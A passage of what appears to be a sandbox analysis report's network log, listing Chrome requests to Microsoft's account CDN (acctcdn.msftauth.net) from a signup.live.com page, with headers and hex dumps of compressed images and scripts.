2024-02-23 10:49:49 UTC	4452	IN	Data Raw: de 08 eb 77 b4 21 3d 94 e9 93 c4 d6 ac 7a 4c 27 95 76 ca d9 2a e5 38 04 72 3e e2 51 b4 5c f5 f8 9b 9a 6a 68 14 92 b6 22 72 73 75 8d f5 4a 5a fb f7 c0 e2 35 e8 a1 58 cd 61 a8 8a cd f4 04 ad 56 35 06 2e 97 5a 55 b1 7e 35 04 10 4e 64 98 9c c3 60 36 f6 63 f2 c4 76 5f 73 b3 72 db c2 08 55 ec 84 c5 99 32 02 e9 d4 c5 cf 7d 17 fe e7 ca 5a a1 21 8e 6e 88 7a f5 6c 25 37 31 07 64 26 ec c0 50 7d 75 98 07 b7 0e da 99 8a c8 55 da 20 19 e4 95 dc 38 8b 85 dd d9 a4 36 92 93 28 01 99 42 1c 5d b3 ec 07 43 6f 73 54 33 51 cc 97 90 42 c1 57 4f 63 ab f5 40 f3 a2 c6 5b c3 ee 94 9f 2c 50 43 ad cb 87 fc 17 3c db 9f a4 74 64 b8 95 04 6c b9 3c ef c5 ed 2c af 31 d5 ee f0 6b 49 44 ee b3 59 7a 36 e7 7d 1c 71 05 81 cb 67 34 10 8f 8a b5 f8 21 00 82 4f c2 89 b6 c1 15 39 41 e6 30 77 9b 07 Data Ascii: w!=zL'v*8r>Q\jh"rsuJZ5XaV5.ZU~5Nd`6cv_srU2}Z!nzl%71d&P}uU 86(B]CosT3QBWOc@[,PC<tdl<,1kIDYz6}qg4!O9A0w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49802	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:49 UTC	393	OUT	GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:49 UTC	798	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:49 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 23 Feb 2024 01:26:09 GMT ETag: 0x8DC340E6A262EB0 x-ms-request-id: b23a10e3-901e-003e-070d-66f5b7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104949Z-y4rymhcb3570v0b8wk85quzecg00000000eg000000005q6n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:49 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49803	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:50 UTC	601	OUT	GET /images/favicon.ico?v=2 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:50 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:50 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 23 Feb 2024 01:26:08 GMT ETag: 0x8DC340E69A97006 x-ms-request-id: 6dad51ca-301e-00c8-4d09-66aaee000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104950Z-g513vhrzz57c338zhkfc5vwd9400000000pg000000008dm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:50 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-02-23 10:49:50 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49805	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:50 UTC	594	OUT	GET /datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:50 UTC	807	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:50 GMT Content-Type: application/javascript Content-Length: 3505 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 23 Feb 2024 05:36:26 GMT ETag: 0x8DC343160D0A425 x-ms-request-id: 73c695c9-301e-0034-0342-66fba2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104950Z-y6ax6hrpgx4q1eaubq8424pkk400000000ug00000000412d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:50 UTC	3505	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ad 59 5b 73 db 36 16 7e cf af a0 51 8f 4c 8e 60 46 49 db dd ae 18 44 e3 da 71 e2 dc 63 2b cd 83 e3 e9 d0 24 24 31 a6 49 96 04 2d 2b 92 fe fb 7e 07 e0 4d 96 d2 d9 9d dd 4e 1d 13 07 07 07 e7 7e 81 f7 26 65 12 a8 28 4d 6c 67 59 7f 5a d2 96 9d 95 a2 55 2e 55 99 63 a7 d7 93 6e a1 7c 25 85 88 7b 3d 5b ba 59 2e ef 9a 0f 37 91 f7 4a 48 fd cb e1 e6 b7 de a4 0f 8d 21 0c a2 c3 4f 84 00 31 fb a4 c1 de 37 80 fd 06 a3 be a8 e4 b2 3e aa c9 27 65 1c f3 c5 e1 21 30 d6 0d 93 3e 31 19 4d ec 2e 83 a5 b3 bc f3 73 2b 17 fb 5e 3e b2 f3 8a b9 9a 5a ee 0c 71 39 ae 95 cd 4d 20 db ef af 5b a2 13 28 65 ef af 5e 6f ef ba d7 5b f4 7a f7 cf e7 60 f0 5a cc a3 24 4c e7 6e 21 d5 38 ba 95 69 a9 ec 29 2f 1c a7 3d 77 47 cc 98 ab ed 44 ce ad 13 10 77 dc a9 c1 b7 Data Ascii: Y[s6~QL`FIDqc+$$1I-+~MN~&e(MlgYZU.Ucn\|%{=[Y.7JH!O17>'e!0>1M.s+^>Zq9M [(e^o[z`Z$Ln!8i)/=wGDw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49804	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:50 UTC	555	OUT	GET /oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:50 UTC	809	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:50 GMT Content-Type: application/javascript Content-Length: 105716 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Tue, 20 Feb 2024 05:32:04 GMT ETag: 0x8DC31D545CF212B x-ms-request-id: e8c4cc9a-101e-00f6-42d0-6329e2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104950Z-ft8zyc3pfx6fheuz3hc989regs00000000fg000000002dr2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:50 UTC	15575	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bc bd 69 73 db 48 b2 2e fc 7d 22 e6 3f 90 b8 0e 1d a0 59 a2 49 6d dd 06 5d c3 90 b5 d8 b2 ad c5 5a 6c 77 73 74 14 10 59 92 60 51 00 8d 45 8b 2d 9e df 7e f3 c9 2a 00 05 92 9e 99 7b ef 1b ef 4c 5b 44 ed 5b 56 56 66 56 66 d6 cb df 9a 7f ff 5b e3 b7 46 77 fb a4 f1 fe a4 71 b2 fd a1 b1 15 27 4a 34 56 db 2b ed 0d 4e da 8a 27 4f 49 78 7d 93 35 dc a1 d7 d8 0f 87 49 9c c6 57 59 23 88 46 8d 61 1c 65 49 78 99 67 71 92 b6 1b 9b e3 71 83 73 a6 8d 44 a5 2a b9 57 a3 36 57 e1 56 a5 f6 a2 4c 25 51 30 6e 1c 46 e3 27 0f a9 2f ff fe b7 fb 20 69 44 32 bb 09 53 a1 e4 55 1e 0d b3 30 8e dc c8 fb e9 e4 a9 6a a4 d4 c4 30 73 7a c8 75 24 9d 22 dd 11 b9 74 e2 cb 6f 8a d2 a8 98 93 47 23 75 15 46 6a e4 88 54 3a 93 24 ce e2 ec 69 a2 1c b1 23 9d 9b 20 3d 7c Data Ascii: isH.}"?YIm]ZlwstY`QE-~{L[D[VVfVf[Fwq'J4V+N'OIx}5IWY#FaeIxgqqsDW6WVL%Q0nF'/ iD2SU0j0szu$"toG#uFjT:$i# =\|
2024-02-23 10:49:50 UTC	16384	IN	Data Raw: 6f 74 3b dd 6a 14 4c 24 44 19 52 29 61 c5 a0 02 02 96 cd a1 6e 9f 71 48 b7 53 6d 45 7d dc 6c e5 b4 8d ef b6 b5 7b 31 33 70 43 70 50 ee 35 dd a3 7d 3a 3d 93 27 a7 3e d5 dd 0e e3 20 9c fb b4 9f 95 19 27 e2 69 61 60 21 a0 a9 07 46 65 99 df 11 47 61 78 b1 4d 6c 01 35 9a 87 e9 8d 1a 31 cb da e5 f8 b7 e0 15 c2 21 8e 07 e2 d4 11 b3 77 f4 79 8d 7a 98 d0 12 fa ab 26 e6 7e a3 88 59 e3 98 7d 1a c7 49 ce 7b d7 5f e7 18 f6 ae 75 90 df 5d aa c4 df e0 18 3a 94 08 b1 ea 97 cb 7f e7 98 93 70 52 54 f3 87 8e b8 cb ca 98 57 ba 29 56 ea c8 9e fc ae ee f6 59 12 fa 5d dd d3 dd ef a3 c8 ef ce f5 f1 23 ed ee 21 e5 5f 15 7a 42 55 62 16 a4 18 9a 09 fa f0 0c 00 aa 4c 4f 0d d1 15 63 9a 82 ad 38 cd b6 81 60 e8 54 a3 f1 13 3d 34 06 97 40 03 df bb bb 53 a3 10 ca 15 6b a0 24 73 f3 3a 6e Data Ascii: ot;jL$DR)anqHSmE}l{13pCpP5}:='> 'ia`!FeGaxMl51!wyz&~Y}I{_u]:pRTW)VY]#!_zBUbLOc8`T=4@Sk$s:n
2024-02-23 10:49:50 UTC	16384	IN	Data Raw: 9e fa 44 7a a7 84 db 12 0c 13 5b 6b 95 c7 3f 22 31 aa 47 51 e1 d5 c3 fc 06 6f a7 80 ed 11 3f d2 4e 94 70 67 3e 21 0f 1c 02 09 b1 70 14 e0 bb f8 98 f2 23 7a 39 bc 4b 06 7e a1 4c 98 0a 3f 53 b0 a3 85 79 a9 9f f2 a3 04 bc f3 e3 d9 4c 9d 83 bd 41 49 0b a3 d1 50 4a 48 1c 3a ae 63 b8 26 6b 9a 5e 5b 38 6e 58 e3 e1 97 9e 56 0e a3 4c f8 1b 99 5f fb 82 53 93 86 94 6e e4 83 b1 c6 fb 5c b0 ea 2f 9a d6 6c 11 ae 74 d1 2c 47 6e 04 fd ac da d3 03 8c ba 28 03 72 a8 30 98 74 1f 3d 8c 36 fd cd 27 8f 1f 3c 7c fc 98 a0 a0 4e d8 88 1e 01 d0 a9 11 03 bb 12 a9 96 01 9e 05 b0 ce 10 4b 39 ec ea bb 2d da a8 3f ab d1 52 e7 04 b2 e6 9e f6 bd c6 66 1b c1 39 47 ac 41 b7 d0 4f aa 8c 26 08 d0 0d 75 f3 5b c1 40 3e 70 1d 0c 2d 60 1c 6e 99 e3 d5 b8 fe fb cf b0 32 05 01 dd 3f 13 98 de 35 e8 Data Ascii: Dz[k?"1GQo?Npg>!p#z9K~L?SyLAIPJH:c&k^[8nXVL_Sn\/lt,Gn(r0t=6'<\|NK9-?Rf9GAO&u[@>p-`n2?5
2024-02-23 10:49:50 UTC	16384	IN	Data Raw: 98 fe 3d a1 7f 21 fd 3b 85 c9 2e fd 63 5d 26 fa 77 e6 c0 0e 61 ac c0 a3 8d b7 1e 74 e2 46 c3 23 bc 82 ae fd 87 d8 ef 60 03 7b 7d ba 21 a3 3f fe 78 b0 d6 7e a8 1f 1f 57 8f ed 0d eb f9 51 f5 bc d1 b2 9e ad aa 1b 5c b7 63 2e d4 c7 0d 77 73 8d bf 32 6d 95 8c 98 a4 b7 67 66 5b 1e 9f a8 07 34 8d 0f 1c fd da de 54 9b 5e 23 33 6f 8f f0 a6 9f 9f 60 4d 18 8e 65 21 d1 9b ff f0 9f a3 c2 25 a5 2c 09 58 1a ce 1d 4d 4d cb 89 0c 22 12 d7 9c d0 dd 00 04 bd ff 57 ef cf 61 b8 7e d6 27 c4 cf d6 28 09 2d a4 91 1b dc dc 50 99 2d 39 9f 2c 94 a0 31 85 a1 8c 23 0f 19 4b 1d 8b df 2a 4b b0 3d b2 6b e5 a1 46 a2 e0 79 08 0c 10 88 41 ed dd 76 16 ba 75 6c 46 e9 d8 3d e2 8d 9d 30 c6 e7 44 08 76 42 8d db a4 41 d8 bb 83 68 12 1a e6 ae 16 4f de 44 e0 22 bd 84 12 bd 16 54 52 0a c4 62 2e d2 Data Ascii: =!;.c]&watF#`{}!?x~WQ\c.ws2mgf[4T^#3o`Me!%,XMM"Wa~'(-P-9,1#K*K=kFyAvulF=0DvBAhOD"TRb.
2024-02-23 10:49:50 UTC	16384	IN	Data Raw: 2d f6 9e 3a 4d 29 c0 6f f0 92 c6 01 a5 b2 5d 7c f8 33 25 f8 4c 07 00 cf 26 39 03 da 93 13 b6 a3 ee a8 77 0b 0b 6d 26 f9 87 dd 5f 9a e6 33 50 7d f8 c4 2b f6 13 d0 26 0e 2b 20 21 13 24 8a 32 ac db 1b ea e4 b1 a5 5c 63 85 25 62 25 3f a2 a6 cc 6c 63 c8 d3 ff 7b 41 b1 a5 1a 46 df 60 98 a2 d7 46 62 93 f2 3d 09 28 f1 7f f3 b6 96 b1 e4 3f ce 10 f8 56 0e eb 39 d2 68 97 1d 8d a3 25 87 d7 bd d1 62 a9 45 c0 1c 35 64 85 35 4c f1 45 61 3d 28 96 28 c5 83 0a 01 16 79 67 ed 33 06 9c 6a d6 f5 50 05 48 53 0d d8 d8 0b 53 ee 02 12 db b3 ba fe 67 52 3f a5 78 34 c1 de 27 5f 13 3e d3 b1 d4 f5 51 f5 d8 23 33 b0 89 4f db 78 91 55 65 b3 d8 01 a2 f3 fa 9b 38 35 d6 ea d3 cd b2 48 99 22 72 08 30 8e f7 35 e8 79 15 8d e8 33 8f f5 e4 69 67 02 dd ea f8 3f 53 d9 9d c1 0e 7b 96 4a 5b 07 81 Data Ascii: -:M)o]\|3%L&9wm&_3P}+&+ !$2\c%b%?lc{AF`Fb=(?V9h%bE5d5LEa=((yg3jPHSSgR?x4'_>Q#3OxUe85H"r05y3ig?S{J[
2024-02-23 10:49:50 UTC	16384	IN	Data Raw: d8 62 4b c7 16 d5 0a bb e6 7b b7 fc 1a 76 a5 f6 d5 ba 5a 55 c7 aa 0b 02 f8 6e 47 29 6b f3 f3 6b 85 d0 9d bc af 7f 49 5d b9 32 5a 86 10 3f 40 c0 d0 e3 b7 dc 2d ba 07 8c 35 87 69 33 88 83 3b 1e 75 d7 e4 51 d7 2e 6d f1 a3 ee a9 b8 5d af a8 e9 b2 7b aa 7c 2b ab d8 64 f5 8c a2 30 51 fe 81 a9 b4 af 96 99 59 08 9b 5d cf 70 6b 33 09 45 e2 56 9b e7 aa 79 94 85 5c ae 63 7c d6 b2 c1 78 4a d0 4f 9c 31 bb ce b1 6c c3 0e 6b 7c 15 11 4e 63 09 ba e5 b9 9c f5 4e 96 41 9a cd 81 50 d2 07 66 2b 19 a0 c9 b9 88 3d 6a 98 bb 60 c5 be 79 e1 9c c4 b2 de 6a 3d 68 3a 2b 62 c8 3e a6 96 30 2d 96 35 56 ab 54 83 c6 f9 06 1d 64 4d 85 87 c7 d1 c3 01 3b 49 b0 6c b1 56 1e 53 65 34 6f 87 ca 56 a7 79 ab 8b e4 e2 4c a7 e8 2e 5c b9 94 9f e1 39 63 9d c4 b2 e6 77 bb c3 3d 76 e6 71 68 19 16 fc 40 Data Ascii: bK{vZUnG)kkI]2Z?@-5i3;uQ.m]{\|+d0QY]pk3EVy\c\|xJO1lk\|NcNAPf+=j`yj=h:+b>0-5VTdM;IlVSe4oVyL.\9cw=vqh@
2024-02-23 10:49:50 UTC	8221	IN	Data Raw: c7 b9 28 72 57 3f c7 80 ea b2 a2 7f 77 29 d3 a4 75 f7 72 65 cb 0e b4 a6 64 07 3c d5 2a 75 a5 6f 6f 41 f7 c3 60 17 93 75 ba 2b 78 70 b7 8a 94 48 fc 0d a4 a6 3d 3d 28 c8 1c c0 6c cb 59 44 00 a1 3a 30 a1 26 f8 98 a3 9f a5 1a c7 a1 6e 37 47 bb d6 d5 e8 93 7d 09 7c c0 92 6b 10 7c cf 72 96 c4 04 4b 69 51 d6 f4 6f ba 84 15 ec 77 11 be 5c 3d 65 42 f6 1d ae 67 a7 41 b6 3b c1 05 24 a5 08 84 11 08 31 40 70 31 4c 6d 4d 9a 1c 22 ea 01 3b b9 33 c2 3b c0 de 6c 5d 10 fe b4 e4 6d 33 e4 07 94 b0 53 9f 7f 76 33 1c 8b 9a 40 dc 3b 06 37 0a 97 fd d2 89 0d 58 55 67 48 2e c4 78 53 17 3a d3 04 dc f5 45 89 00 8f f6 5d df a6 4b d7 f5 51 1c 7e cb a7 2e 1c 20 cf 8a 4b 34 f5 23 94 46 c5 c2 a3 bc bb 26 4c 9d 0b 8c 77 f7 ab 62 09 62 36 39 6e 22 85 b1 4a 13 4a 6a b4 d8 41 7a 92 79 36 ea Data Ascii: (rW?w)ured<*uooA`u+xpH==(lYD:0&n7G}\|k\|rKiQow\=eBgA;$1@p1LmM";3;l]m3Sv3@;7XUgH.xS:E]KQ~. K4#F&Lwbb69n"JJjAzy6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49809	13.107.246.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:50 UTC	615	OUT	GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:50 UTC	804	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:50 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Fri, 23 Feb 2024 05:36:26 GMT ETag: 0x8DC34316134122F x-ms-request-id: 679a7e97-301e-00a0-4f45-66b0dd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104950Z-g513vhrzz57c338zhkfc5vwd9400000000n0000000008wk1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-02-23 10:49:50 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49814	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:51 UTC	366	OUT	GET /images/favicon.ico?v=2 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:51 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:51 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 23 Feb 2024 01:26:08 GMT ETag: 0x8DC340E69A97006 x-ms-request-id: 6dad51ca-301e-00c8-4d09-66aaee000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104951Z-dy79susabt6ff44wg44v98uzv000000000wg0000000005hc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
